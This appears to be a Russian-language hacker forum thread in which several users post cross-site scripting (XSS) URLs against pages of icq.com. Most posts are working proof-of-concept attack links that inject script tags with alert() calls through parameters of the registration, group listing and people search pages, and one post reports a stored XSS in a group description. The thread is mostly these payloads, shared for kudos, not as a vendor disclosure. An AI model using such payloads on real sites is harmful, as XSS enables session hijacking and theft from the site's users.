Xss в ICQ

Нашол XSS в ICQ

Code:

http://www.icq.com/register/thanks.php?service=&uin=1%3Cscript%3Ealert(123);%3C/script%3E&newuser=1

 

Вот ещё одна xss в ICQ найденная мной

Code:

http://www.icq.com/groups/atoz.php?letter=%3Cscript%3Ealert('find%20by%20a1ien')%3C/script%3E

 

Молодец!!!

 

Вот продолжение

Code:

http://www.icq.com/people/?searched=1&keyword2=&my_gender=[XSS]&match=[XSS]&age_group=[XSS]&home_cc=[XSS]
Вот пример
http://www.icq.com/people/?searched=1&keyword2=&my_gender=%3Cscript%3Ealert(1)%3C/script%3E&match=%3Cscript%3Ealert(1)%3C/script%3E&age_group=%3Cscript%3Ealert(1)%3C/script%3E&home_cc=%3Cscript%3Ealert(1)%3C/script%3E

 

Лол их находили пол года назад. Даже чисто я находил.

 

Вот ещё активная XSS!
При создании группы не фильтруется параметра Group Description.
Вот ссылка на мою групу со скриптом.
http://www.icq.com/groups/group_details.php?gid=12052128
З.Ы Если ктото уже находил несудите сторого.